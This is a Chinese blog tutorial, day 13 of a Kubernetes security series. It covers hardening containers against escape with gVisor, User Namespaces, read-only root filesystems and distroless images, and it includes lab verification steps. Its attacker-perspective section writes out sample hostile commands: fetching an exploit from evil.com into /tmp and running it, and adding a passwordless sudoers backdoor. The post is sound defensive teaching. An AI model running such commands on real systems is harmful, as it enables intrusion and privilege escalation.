iT邦幫忙

2026 iThome 鐵人賽

DAY 13
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 13 篇

Day 13|防禦逃逸(下):gVisor 沙箱 + 容器不變性

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

當 seccomp 和 AppArmor 不夠時——用核心隔離和最小化映像把攻擊面降到最低。

前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 完成 Day 12 的內容

本篇建立在 Day 12(PSS + seccomp + AppArmor)的基礎上。建議先完成 Day 12 再繼續。

2. 確認 containerd 支援 RuntimeClass

# 主機終端
kubectl get runtimeclasses

如果沒有任何 RuntimeClass,待會我們會建立一個。gVisor 需要額外安裝——本篇會引導你完成。

學習目標

完成本日實作後,你將能夠:

  • 理解 gVisor(使用者態 kernel)的架構與容器逃逸防禦原理
  • 建立 RuntimeClass 並將 Pod 指定到 gVisor 沙箱
  • 使用 distroless 映像縮小攻擊面
  • 設定 readOnlyRootFilesystem 阻止攻擊者寫入檔案
  • 量化比較五層防禦的覆蓋率與效能影響

防禦架構

Day 12 覆蓋了 Admission Control(PSS/Kyverno)、syscall 過濾(seccomp)、和 LSM(AppArmor)三層防禦。今天加入最後兩層:

攻擊面縮減策略

為什麼需要核心隔離

Day 8–11 示範了七種逃逸手法。仔細觀察,每一種都依賴容器和宿主機共用 Linux 核心這個前提:

逃逸 利用的核心機制 seccomp 能擋嗎
S13 mount device mount syscall 能(block mount)
S14 cgroup escape cgroup 虛擬檔案系統 部分(需自訂 profile)
S15 Docker.sock Unix socket(connect) 不能(connect 是合法 syscall)
S16 core_pattern /proc/sys/kernel 寫入 能(block write to /proc)
S17 ptrace ptrace syscall 能(block ptrace)
S18 lxcfs mknod mknod syscall 能(block mknod)
S19 Dirty Pipe pipe + splice 不能(都是正常 syscall)

S19 Dirty Pipe 是關鍵——它使用的 pipe()、splice()、write() 都是完全正常的 syscall,任何 seccomp profile 都不可能阻擋它們而不破壞正常應用。唯一的解法:讓容器的 syscall 不再直接到達宿主機核心。


gVisor 沙箱

為什麼需要 gVisor

Day 11 的 Dirty Pipe(CVE-2022-0847)暴露了容器安全的根本問題:容器和宿主機共用核心。不管 seccomp 或 AppArmor 如何限制,只要核心本身有漏洞,容器內的 exploit 就能直接攻擊宿主機。

gVisor 的解決方案:在容器和宿主機核心之間插入一個使用者態核心(user-space kernel),攔截所有系統呼叫。

原理深入:gVisor 的架構

原理深入:gVisor 的架構

gVisor 的核心元件

元件 功能 安全效果
Sentry 使用者態核心,實作了 Linux syscall 的子集 攔截並處理容器的 syscall
Gofer 檔案系統存取代理 所有檔案操作都透過 Gofer
Runsc OCI runtime,取代 runc 啟動容器 整合 Sentry + Gofer

Sentry 內部運作機制

Sentry 是 gVisor 最核心的元件。它用 Go 語言重新實作了 Linux syscall 介面,理解它的運作方式有助於判斷 gVisor 能防禦什麼、不能防禦什麼。

Sentry 的 syscall 處理流程:

Sentry 對各種 syscall 的處理方式:

syscall 類別 處理方式 範例
記憶體管理 Sentry 內部完全處理 brk, mmap(匿名)
檔案 I/O 透過 Gofer 代理 open, read, write
網路 Sentry 內建 netstack(或 passthrough) socket, connect, bind
行程管理 Sentry 管理虛擬 PID namespace fork, execve, wait4
裝置操作 不支援(回傳 EPERM) mount, mknod
核心介面 虛擬化(不觸碰真實核心) /proc, /sys

Sentry 如何阻擋逃逸

Sentry 是 gVisor 的核心。它用 Go 語言實作了 Linux 系統呼叫的子集,容器的 syscall 不會直接到達宿主機核心:

逃逸嘗試 → Sentry 處理 → 結果

Gofer:檔案系統隔離

Gofer 是 gVisor 的另一個關鍵元件,負責所有檔案系統操作:

容器 Sentry Gofer Host

Gofer 使用 9P 協議與 Sentry 通訊,所有檔案操作都透過這個代理。Gofer Process有自己的 mount namespace,只能存取被明確允許的路徑。

安全效果:

  • 容器無法存取 Host 上任意檔案
  • 即使 Sentry 被攻破,Gofer 的存取範圍也是受限的
  • HostPath 掛載(S15 Docker.sock)被 Gofer 的存取控制阻擋

在 K8s 中配置 gVisor

1. 安裝 gVisor(在節點上)

# 安裝 runsc
$ curl -fsSL https://gvisor.dev/archive.key | sudo gpg --dearmor -o /usr/share/keyrings/gvisor-archive-keyring.gpg
$ echo "deb [signed-by=/usr/share/keyrings/gvisor-archive-keyring.gpg] https://storage.googleapis.com/gvisor/releases release main" | \
    sudo tee /etc/apt/sources.list.d/gvisor.list > /dev/null
$ sudo apt-get update && sudo apt-get install -y runsc

# 配置 containerd 使用 runsc
$ cat >> /etc/containerd/config.toml << 'EOF'
[plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc]
  runtime_type = "io.containerd.runsc.v1"
EOF
$ sudo systemctl restart containerd

2. 建立 RuntimeClass(完整配置)

apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
overhead:
  podFixed:
    cpu: "50m"               # Sentry 的 CPU 開銷
    memory: "100Mi"          # Sentry + Gofer 的記憶體開銷
scheduling:
  nodeSelector:
    gvisor: "true"           # 只在安裝了 gVisor 的節點上排程
  tolerations:
    - key: "runtime"
      operator: "Equal"
      value: "gvisor"
      effect: "NoSchedule"

overhead 欄位的重要性: 當你設定了 overhead,Kubernetes scheduler 在計算節點資源時會自動加上這些開銷。這確保了 gVisor Pod 不會因為 Sentry/Gofer 的額外資源需求而導致節點 OOM。

3. 在 Pod 中使用

apiVersion: v1
kind: Pod
metadata:
  name: secure-app
spec:
  runtimeClassName: gvisor    # ← 使用 gVisor 沙箱
  containers:
    - name: app
      image: myapp:latest
      securityContext:
        runAsNonRoot: true
        runAsUser: 1000

4. 在 Minikube 中啟用

# Minikube 內建 gVisor addon
$ minikube start --container-runtime=containerd
$ minikube addons enable gvisor

# 等待 gVisor 準備完成
$ kubectl get runtimeclass
NAME     HANDLER   AGE
gvisor   runsc     30s

# 驗證
$ kubectl run test --image=busybox --runtime-class=gvisor -- sleep 60
$ kubectl exec test -- dmesg | head -3
[    0.000000] Starting gVisor...
[    0.000000] Digging up potential caused by the Internet...
[    0.000000] Accelerating taco delivery...
# gVisor 的 dmesg 會顯示幽默的啟動訊息,確認沙箱在運行

踩坑提醒:Minikube 的 gVisor addon 需要 --container-runtime=containerd,不支援 Docker driver。如果你的 Minikube 使用 Docker driver,需要切換到 containerd。

gVisor 可以防禦的攻擊

逃逸 gVisor 防禦方式 效果
S13 Privileged mount Sentry 不允許 mount 真實設備 完全阻擋
S14 Cgroup Sentry 管理虛擬 cgroup 完全阻擋
S15 Docker.sock Gofer 限制檔案存取 完全阻擋
S16 core_pattern Sentry 不允許寫 /proc/sys 完全阻擋
S17 ptrace Sentry 的 ptrace 不影響宿主機 完全阻擋
S18 lxcfs Sentry 不允許 mknod 真實裝置 完全阻擋
S19 Dirty Pipe 核心漏洞無法透過 Sentry 觸發 完全阻擋

gVisor 的限制

限制 說明 影響的應用
性能開銷 syscall 攔截有 5–15% overhead 高 I/O 應用
syscall 覆蓋 約覆蓋 70% Linux syscall 使用罕見 syscall 的應用
GPU 不支援 GPU 直通 ML/AI 工作負載
特殊 filesystem 某些 fs 不支援(如 NFS) 使用網路 fs 的應用
/proc 差異 虛擬 /proc 與真實 /proc 有差異 讀取 /proc 的監控工具
網路性能 自帶的 netstack 較慢 高吞吐量網路應用

gVisor 疑難排解

常見問題及解決方式:

# 問題 1:Pod 啟動失敗 — "OCI runtime create failed"
# 原因:containerd 配置不正確或 runsc 未安裝
$ runsc --version
# 確認 runsc 已安裝

$ containerd config dump | grep runsc
# 確認 containerd 配置了 runsc runtime

# 問題 2:應用報錯 "function not implemented"
# 原因:應用使用了 gVisor 未實作的 syscall
$ kubectl logs pod-name
# 查看具體是哪個 syscall
$ runsc debug --strace /path/to/runsc-sandbox
# 開啟 syscall trace 觀察

# 問題 3:網路性能下降嚴重
# 解法:使用 host network stack(犧牲部分隔離)
# 在 runsc 配置中加入:
# [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc]
#   runtime_type = "io.containerd.runsc.v1"
#   [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.runsc.options]
#     TypeUrl = "io.containerd.runsc.v1.options"
#     ConfigPath = "/etc/gvisor/runsc.toml"
# runsc.toml:
#   network = "host"

gVisor vs Kata Containers

項目 gVisor Kata Containers
隔離方式 使用者態核心 輕量級 VM(microVM)
性能開銷 低(5–15%) 中(10–20%)
記憶體開銷 低 較高(每容器一個 VM)
啟動時間 快(< 1s) 稍慢(~2s)
syscall 相容性 中(70%) 高(完整 Linux 核心)
安全強度 高 極高(VM 隔離)
適用場景 多數 Web 服務 高安全 + 多租戶
底層技術 Go 實作的 syscall handler QEMU/Firecracker

何時使用哪種 Runtime

需求分析決策樹:


User Namespaces(K8s 1.30+)

User Namespaces 是 K8s 1.30 引入的 beta 功能,提供比 gVisor/Kata 更輕量的容器隔離強化。核心概念:容器內的 root(UID 0)會被映射到宿主機上的非特權 UID(例如 65534),讓容器內的「root」在宿主機層級沒有任何特權。

啟用方式

apiVersion: v1
kind: Pod
metadata:
  name: userns-pod
spec:
  hostUsers: false    # 啟用 User Namespaces
  containers:
    - name: app
      image: nginx:1.27-alpine
      securityContext:
        runAsUser: 0  # 容器內仍是 root,但映射到宿主機的非特權 UID

需要在 kubelet 啟用 feature gate:

--feature-gates=UserNamespacesSupport=true

防禦效果

逃逸手法 無 User Namespaces 有 User Namespaces
S13 mount 逃逸 成功(root 可 mount) 失敗(宿主機上無權限 mount)
S14 cgroup 寫入 成功(root 可寫 cgroup) 失敗(非特權 UID 無法寫 cgroup)
S17 ptrace 注入 成功(root 可 ptrace) 失敗(跨 user namespace 無法 ptrace)

與 gVisor/Kata 的定位差異

  • User Namespaces:核心層級的 UID 映射,零效能開銷,但仍共用宿主機核心(核心漏洞仍有風險)
  • gVisor:獨立的使用者空間核心,有效能開銷但核心漏洞免疫
  • Kata Containers:完整 VM 隔離,最安全但最重

最佳實踐是組合使用:User Namespaces + seccomp(阻擋危險 syscall)可以在不犧牲效能的情況下大幅縮小攻擊面。對於高敏感工作負載再加上 gVisor 或 Kata。

User Namespaces 預計在 K8s 1.32 正式 GA。建議現在就開始在非生產環境測試,確認應用程式在非 root UID 下正常運作。


容器不變性(Immutable Container)

原則

容器應該是不可變的——運行時不應該修改容器的檔案系統。所有逃逸攻擊都需要在容器內寫入檔案(exploit binary、shell script、下載的工具),如果檔案系統是唯讀的,攻擊面大幅縮減。

readOnlyRootFilesystem

apiVersion: v1
kind: Pod
spec:
  containers:
    - name: app
      image: myapp:latest
      securityContext:
        readOnlyRootFilesystem: true    # ← 唯讀根目錄
      volumeMounts:
        - name: tmp
          mountPath: /tmp               # ← 只有 /tmp 可寫
        - name: cache
          mountPath: /var/cache         # ← 只有需要的目錄可寫
        - name: run
          mountPath: /var/run           # ← PID file 等
  volumes:
    - name: tmp
      emptyDir:
        sizeLimit: "64Mi"              # ← 限制大小
    - name: cache
      emptyDir:
        sizeLimit: "128Mi"
    - name: run
      emptyDir:
        sizeLimit: "8Mi"

攻擊者視角:readOnly 的影響

# readOnlyRootFilesystem = true 時

# 下載工具 → 失敗
$ wget http://evil.com/exploit -O /exploit
bash: /exploit: Read-only file system

# 安裝套件 → 失敗
$ apt-get install nmap
E: Unable to open lock file - Read-only file system

# 寫入後門 → 失敗
$ echo "attacker ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
bash: /etc/sudoers: Read-only file system

# 修改 DNS → 失敗
$ echo "nameserver 10.0.0.1" > /etc/resolv.conf
bash: /etc/resolv.conf: Read-only file system

# 但如果 /tmp 是 emptyDir,攻擊者仍然可以:
$ wget http://evil.com/exploit -O /tmp/exploit
$ chmod +x /tmp/exploit
$ /tmp/exploit
# 所以 emptyDir 也要加 noexec mount option(如果可能)

強化 emptyDir:防止在可寫目錄中執行

emptyDir 是 readOnlyRootFilesystem 的例外區域,攻擊者可以在此寫入並執行工具。K8s 目前不原生支援 emptyDir 的 noexec mount option,但有幾個替代方案:

# 方案 1:使用 memory 類型的 emptyDir(限制大小)
volumes:
  - name: tmp
    emptyDir:
      medium: Memory         # 使用 tmpfs(RAM)
      sizeLimit: "16Mi"      # 嚴格限制大小——攻擊者無法下載大型工具

# 方案 2:用 seccomp 限制 execve(搭配 readOnly 使用)
# 自訂 seccomp profile 禁止在特定路徑執行
# 但這需要較複雜的 seccomp 配置

# 方案 3:gVisor 的 overlay 配置
# gVisor 可以配置 overlay filesystem,限制可寫層的行為

踩坑提醒:很多應用需要寫入臨時檔案。啟用 readOnlyRootFilesystem 前,先確認應用的寫入需求,用 emptyDir 提供必要的可寫目錄。常見需要可寫的路徑:/tmp、/var/cache、/var/run(PID file)、/var/log。

distroless 映像

Google 的 distroless 映像只包含應用和它的 runtime 依賴——沒有 shell、沒有 package manager、沒有 OS 工具。

# 多階段建構
FROM golang:1.22 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .

# distroless 最終映像
FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=builder /app/server /server
USER nonroot:nonroot
ENTRYPOINT ["/server"]

攻擊者視角:

# 進入 distroless 容器——沒有 shell
$ kubectl exec -it secure-app -- sh
OCI runtime exec failed: exec failed: unable to start container process:
exec: "sh": executable file not found in $PATH

# 即使能進入,也沒有任何工具可用
# 沒有 curl、wget、nmap、kubectl、python、gcc...
# 攻擊者無法下載或執行任何工具

distroless 映像詳細比較

映像 大小 包含 shell 包含工具 CVE 數量(估計) 攻擊面 除錯難度
ubuntu:22.04 ~77 MB bash, sh, dash apt, curl, wget... 50+ 高 容易
alpine:3.19 ~7 MB ash, sh apk, wget, busybox 10+ 中 容易
gcr.io/distroless/base ~20 MB 無 無 極少 低 困難
gcr.io/distroless/static ~2 MB 無 無 極少 極低 困難
scratch 0 MB 無 無 0 最低 極困難

除錯 distroless 容器的方法:

# 方法 1:使用 ephemeral container(K8s 1.25+)
$ kubectl debug -it secure-app \
    --image=busybox \
    --target=app \
    --share-processes
# 這會在同一個 Pod 中啟動一個 debug 容器
# 可以看到目標容器的 process,但不影響其映像

# 方法 2:使用 cdebug 工具
$ cdebug exec -it pod/secure-app
# 自動注入 debug 工具到目標容器

# 方法 3:複製 Pod 並替換映像
$ kubectl debug secure-app \
    --copy-to=debug-pod \
    --set-image=app=alpine:3.19 \
    -- sh

各語言的 distroless 映像

語言 映像 說明
Go gcr.io/distroless/static 靜態編譯,不需要 libc
Java gcr.io/distroless/java21 包含 JRE
Python gcr.io/distroless/python3 包含 Python 3 runtime
Node.js gcr.io/distroless/nodejs20 包含 Node.js runtime
.NET mcr.microsoft.com/dotnet/runtime-deps 不完全 distroless 但精簡
Rust gcr.io/distroless/cc 或 static 視是否需要 libc

scratch 映像:零攻擊面

比 distroless 更極端的選擇——scratch 是完全空的映像:

FROM golang:1.22 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -ldflags="-s -w" -o server .

FROM scratch
COPY --from=builder /app/server /server
COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
USER 65534:65534
ENTRYPOINT ["/server"]

踩坑提醒:scratch 映像完全沒有任何東西——連 /etc/passwd 都沒有。如果應用需要讀取使用者資訊、DNS 解析(/etc/resolv.conf)、或 TLS 證書,需要手動 COPY 進去。distroless 通常是更實用的選擇。


完整的安全 Pod 配置

結合 Day 12 和 Day 13 的所有防禦措施,打造一個「鐵壁」Pod:

apiVersion: v1
kind: Pod
metadata:
  name: hardened-app
  namespace: production
  labels:
    app: web
    security-level: maximum
spec:
  runtimeClassName: gvisor                    # 1. gVisor 沙箱
  automountServiceAccountToken: false         # 2. 關閉 SA Token
  serviceAccountName: minimal-sa              # 3. 最小權限 SA
  hostPID: false                              # 4a. 禁止共用 Host PID
  hostIPC: false                              # 4b. 禁止共用 Host IPC
  hostNetwork: false                          # 4c. 禁止共用 Host 網路
  securityContext:
    runAsNonRoot: true                        # 5. 非 root
    runAsUser: 1000
    runAsGroup: 1000
    fsGroup: 1000
    seccompProfile:
      type: RuntimeDefault                    # 6. seccomp
    supplementalGroups: []                    # 不加入額外群組
  containers:
    - name: app
      image: gcr.io/distroless/static@sha256:abc123...  # 7. distroless + digest
      securityContext:
        readOnlyRootFilesystem: true          # 8. 唯讀根目錄
        allowPrivilegeEscalation: false       # 9. 禁止提權
        privileged: false                     # 10. 明確禁止特權模式
        capabilities:
          drop: ["ALL"]                       # 11. Drop ALL capabilities
        appArmorProfile:
          type: RuntimeDefault                # 12. AppArmor
        procMount: Default                    # 13. 標準 /proc mask
      resources:
        limits:
          cpu: "500m"
          memory: "256Mi"                     # 14. 資源限制
        requests:
          cpu: "100m"
          memory: "64Mi"
      ports:
        - containerPort: 8080
          protocol: TCP
      livenessProbe:                          # 15. 健康檢查
        httpGet:
          path: /healthz
          port: 8080
        initialDelaySeconds: 5
        periodSeconds: 10
      readinessProbe:
        httpGet:
          path: /readyz
          port: 8080
      volumeMounts:
        - name: tmp
          mountPath: /tmp
  volumes:
    - name: tmp
      emptyDir:
        medium: Memory                        # 16. tmpfs(RAM-backed)
        sizeLimit: "64Mi"                     # 17. 限制大小

每個配置阻擋了什麼

# 配置 阻擋的攻擊 防禦層級
1 gVisor 所有核心漏洞(S19 Dirty Pipe 等) Runtime 隔離
2 automountServiceAccountToken: false S05 kubectl 攻擊 認證層
3 minimal-sa S07 RBAC 提權 授權層
4 hostPID/IPC/Network: false S17 ptrace + Host 網路存取 Namespace 隔離
5 runAsNonRoot 限制容器內權限 OS 層
6 seccomp RuntimeDefault S13 mount, S17 ptrace, S18 mknod syscall 過濾
7 distroless + digest 沒有 shell/工具 + 固定版本 映像層
8 readOnlyRootFilesystem 無法寫入 exploit/工具 檔案系統
9 allowPrivilegeEscalation: false SUID/SGID 提權 核心安全
10 privileged: false 完全阻擋特權模式 核心安全
11 drop ALL capabilities S17 SYS_PTRACE, S18 SYS_ADMIN Capability
12 AppArmor 額外的檔案存取限制 LSM
13 procMount: Default 隱藏敏感 /proc 路徑 /proc 安全
14 resource limits S32 Resource Bomb 資源控制
15 health probe 確保應用存活(非安全,但運維必要) 可用性
16 Memory-backed emptyDir 限制可寫空間 + Pod 刪除即清除 檔案系統
17 emptyDir sizeLimit 限制攻擊者可用的磁碟空間 資源控制

多層防禦組合效果分析

量化分析

將 Day 8–13 的七種逃逸攻擊與五層防禦進行交叉分析。每一層獨立阻擋的能力如下:

              PSS   seccomp  AppArmor  gVisor  Immutable
S13 mount      ✓      ✓        ✗        ✓        ✗
S14 cgroup     ✓      △        ✗        ✓        ✗
S15 docker.sock ✗     ✗        ✓        ✓        ✗
S16 core_pat   ✓      ✓        ✓        ✓        ✗
S17 ptrace     ✓      ✓        ✓        ✓        ✗
S18 lxcfs      ✓      ✓        ✓        ✓        ✗
S19 Dirty Pipe ✗      ✗        ✗        ✓        ✗

✓ = 能獨立阻擋    △ = 需要自訂 profile    ✗ = 無法阻擋

單層覆蓋率:
  PSS:        5/7 = 71%
  seccomp:    4/7 = 57%(預設 profile)
  AppArmor:   3/7 = 43%
  gVisor:     7/7 = 100% ← 唯一的 100% 覆蓋
  Immutable:  0/7 = 0%(不直接阻擋逃逸,但大幅增加攻擊難度)

組合效果

防禦組合                        覆蓋率    部署難度    性能影響
PSS 單獨                        71%      低         無
PSS + seccomp                   86%      低         極低(< 1%)
PSS + seccomp + AppArmor        86%      中         低(1-3%)
PSS + seccomp + AppArmor + Imm  86%*     中         低(1-3%)
以上 + gVisor                   100%     高         中(5-15%)

* Immutable 不直接阻擋逃逸,但讓攻擊者在逃逸後無法下載工具
  或寫入 payload,大幅降低逃逸的實際危害。

投資報酬率(ROI)分析

防禦層級            覆蓋率增量    部署成本    推薦優先級
PSS Restricted      +71%         極低       ★★★★★ 第一步
seccomp Default     +15%         低         ★★★★★ 同時做
AppArmor Default    +0%          中         ★★★☆☆ 第二步
distroless/readOnly +0%*         中         ★★★★☆ 第三步
gVisor              +14%         高         ★★★★☆ 第四步

推薦策略:PSS + seccomp 兩步到位覆蓋 86%,性能零影響。
剩下的 14%(Dirty Pipe 類核心漏洞)需要 gVisor,但性能開銷較高。
distroless + readOnly 雖然覆蓋率增量為 0,但讓逃逸後的攻擊無法展開,
實際安全價值遠高於數字顯示的。

攻防驗證實測:gVisor + 不變性防禦效果

理論講完了,現在動手驗證——用 Day 8–11 的逃逸手法實際測試 gVisor 和容器不變性的防禦效果。

Step 1:建立 gVisor 沙箱 Pod 並嘗試逃逸

# 主機終端 — 確認 gVisor RuntimeClass 存在
kubectl get runtimeclass gvisor

# 建立使用 gVisor 的測試 Pod
cat <<'EOF' | kubectl apply -n koad -f -
apiVersion: v1
kind: Pod
metadata:
  name: gvisor-escape-test
spec:
  runtimeClassName: gvisor
  containers:
  - name: test
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
EOF

kubectl wait --for=condition=Ready pod/gvisor-escape-test -n koad --timeout=60s

Step 2:在 gVisor 中嘗試 S13 mount 逃逸

# 主機終端 — 確認處於 gVisor 沙箱中
kubectl exec -n koad gvisor-escape-test -- dmesg 2>&1 | head -3

預期結果:

[    0.000000] Starting gVisor...
[    0.000000] Daydreaming about Plaid...
[    0.000000] Letting the watchdogs out...
# 嘗試實際掛載操作(S13 的核心操作)
kubectl exec -n koad gvisor-escape-test -- mount -t tmpfs tmpfs /mnt 2>&1 || true

預期結果:

mount: /mnt: permission denied.

gVisor 的 Sentry 攔截了 mount syscall——即使是 tmpfs 這種不涉及真實設備的掛載也被拒絕。S13 逃逸所需的 mount /dev/sda1 在 Sentry 層就被終結,宿主機核心完全不知道這個操作發生過。

Step 3:在 gVisor 中嘗試讀取宿主機資訊

# 嘗試讀取 /proc/1/cmdline(S17 逃逸的偵察步驟)
kubectl exec -n koad gvisor-escape-test -- cat /proc/1/cmdline 2>&1

預期結果:

sleepinfinity

在 gVisor 中 /proc 是虛擬的——PID 1 是容器自己的 sleep process,看不到宿主機的 systemd。與 Day 11 在 hostPID Pod 中看到宿主機 process 形成對比。

Step 4:驗證 readOnlyRootFilesystem 阻擋攻擊者寫入

# 主機終端 — 建立唯讀根目錄的 Pod
cat <<'EOF' | kubectl apply -n koad -f -
apiVersion: v1
kind: Pod
metadata:
  name: readonly-test
spec:
  containers:
  - name: test
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      readOnlyRootFilesystem: true
    volumeMounts:
    - name: tmp
      mountPath: /tmp
  volumes:
  - name: tmp
    emptyDir:
      sizeLimit: "16Mi"
EOF

kubectl wait --for=condition=Ready pod/readonly-test -n koad --timeout=30s

# 嘗試下載攻擊工具到根目錄(攻擊者常見操作)
kubectl exec -n koad readonly-test -- sh -c 'echo "exploit" > /exploit' 2>&1 || true

預期結果:

sh: 1: cannot create /exploit: Read-only file system
# 嘗試安裝套件
kubectl exec -n koad readonly-test -- sh -c 'apt-get update' 2>&1 | head -3 || true

預期結果:

Reading package lists...
E: List directory /var/lib/apt/lists/partial is missing. - Acquire (30: Read-only file system)
# 但 /tmp 仍然可寫(emptyDir 例外區域)
kubectl exec -n koad readonly-test -- sh -c 'echo "test" > /tmp/test && cat /tmp/test'

預期結果:

test

readOnlyRootFilesystem 阻止攻擊者在容器內安裝工具或寫入後門。唯一可寫的 /tmp 被限制為 16Mi,無法下載大型攻擊工具。

Step 5:驗證 distroless 映像無 shell 可用

# 主機終端 — 嘗試 exec 進入 distroless 容器
cat <<'EOF' | kubectl apply -n koad -f -
apiVersion: v1
kind: Pod
metadata:
  name: distroless-test
spec:
  containers:
  - name: app
    image: gcr.io/distroless/static-debian12:nonroot
    command: ["/bin/sleep"]
    args: ["infinity"]
EOF

# 注意:distroless 沒有 sleep,Pod 會 CrashLoopBackOff
# 這正好展示了 distroless 的效果——沒有任何工具可用
kubectl get pod distroless-test -n koad

預期結果:

NAME              READY   STATUS              RESTARTS   AGE
distroless-test   0/1     CrashLoopBackOff    1          10s

distroless 映像沒有 shell、沒有 sleep、沒有任何常見工具。攻擊者即使突破了其他防禦,在 distroless 容器中也無法執行任何操作。

Step 6:清理測試 Pod

# 主機終端 — 清理驗證用 Pod
kubectl delete pod gvisor-escape-test readonly-test distroless-test -n koad 2>/dev/null

驗證結論:gVisor 在核心層隔離容器,mount/ptrace 等危險操作被 Sentry 攔截而非到達宿主機核心。readOnlyRootFilesystem 阻止攻擊者寫入工具和後門。distroless 映像移除了攻擊者可用的所有工具。三層結合,即使攻擊者發現了 0-day 核心漏洞(如 Dirty Pipe),也無法在容器中準備和執行 exploit。


Day 8–13 容器逃逸攻防總覽

層級 措施 防禦目標 啟用難度
Admission PSS Restricted + Kyverno 阻擋危險配置進入叢集 低
syscall seccomp profile 限制可用的系統呼叫 低
LSM AppArmor profile 限制檔案和 capability 存取 中
Runtime gVisor 沙箱 核心隔離,阻擋核心漏洞 中
Image distroless + readOnly 最小化攻擊面,移除攻擊者工具 低

核心觀念:不要只在一個層級防禦。 PSS 擋不住核心漏洞,gVisor 有性能開銷不適合所有場景,distroless 有些應用不支援。縱深防禦的意義在於每一層都能獨立工作,每多一層就多一道保障。

防禦啟用建議順序

Week 1: PSS Restricted (warn+audit) + seccomp RuntimeDefault


CKS 考點

考點 本日內容 權重
gVisor RuntimeClass 建立和套用 Minimize Microservice 20%
readOnlyRootFilesystem 容器不變性配置 Minimize Microservice 20%
distroless 映像 多階段建構 + 最小映像 Supply Chain 20%
資源限制 resources.limits Minimize Microservice 20%

CKS 模擬題

題目:建立一個 RuntimeClass gvisor,handler 為 runsc。然後修改 Pod secure-app 使其使用此 RuntimeClass,並確保容器使用 readOnlyRootFilesystem。

# RuntimeClass
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
  name: gvisor
handler: runsc
# Pod
apiVersion: v1
kind: Pod
metadata:
  name: secure-app
spec:
  runtimeClassName: gvisor
  containers:
    - name: app
      image: gcr.io/distroless/static:nonroot
      securityContext:
        readOnlyRootFilesystem: true
        runAsNonRoot: true
        runAsUser: 65534
        allowPrivilegeEscalation: false
        capabilities:
          drop: ["ALL"]
      volumeMounts:
        - name: tmp
          mountPath: /tmp
  volumes:
    - name: tmp
      emptyDir: {}

清理與重設

# 主機終端 — 移除測試用的 RuntimeClass
kubectl delete runtimeclass gvisor 2>/dev/null

# 移除測試 Pod
kubectl delete pod secure-app -n koad 2>/dev/null

gVisor 的安裝不需要清理——它不影響其他容器的運行。


本日小結

你完成了什麼

  • [x] 理解 gVisor Sentry/Gofer 架構如何隔離容器與宿主機 kernel
  • [x] 建立 RuntimeClass 並指定 Pod 到 gVisor 沙箱
  • [x] 使用 distroless 映像(無 shell、無套件管理器)
  • [x] 設定 readOnlyRootFilesystem 阻止寫入
  • [x] 量化比較五層防禦覆蓋率(PSS 71% → gVisor 100%)

完成度自我檢查

  • [ ] 能解釋 gVisor Sentry/Gofer 架構如何攔截 syscall 保護宿主機核心
  • [ ] 已建立 RuntimeClass 並成功將 Pod 指定到 gVisor 沙箱
  • [ ] 已使用 distroless 映像部署 Pod 並確認無 shell 可用
  • [ ] 已設定 readOnlyRootFilesystem: true 並驗證阻止容器內寫入
  • [ ] 能說明為什麼 S19 Dirty Pipe 只有 gVisor 能完全防禦(seccomp 無法阻擋正常 syscall)
  • [ ] 能量化比較五層防禦的逃逸覆蓋率(PSS 71% → gVisor 100%)

關鍵帶走

Day 12–13 完成了容器逃逸的完整防禦體系,五個防禦層級從准入控制到映像最小化,每一層都能獨立阻擋不同類型的攻擊。

  • PSS + seccomp 兩步即可覆蓋 86% 的逃逸手法,零性能影響
  • gVisor 是唯一能 100% 覆蓋所有逃逸的方案,但有 5-15% 性能開銷
  • distroless + readOnly 不直接阻擋逃逸,但讓逃逸後的攻擊無法展開

下一步

明天 Day 14 進入 TA0005 Defense Evasion——攻擊者如何偽裝 Pod、清除痕跡、在宿主機上建構惡意映像。



上一篇
Day 12|防禦逃逸(上):Pod Security Standards + seccomp + AppArmor
系列文
資安這條路:從攻擊者視角看 Kubernetes 共 13 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言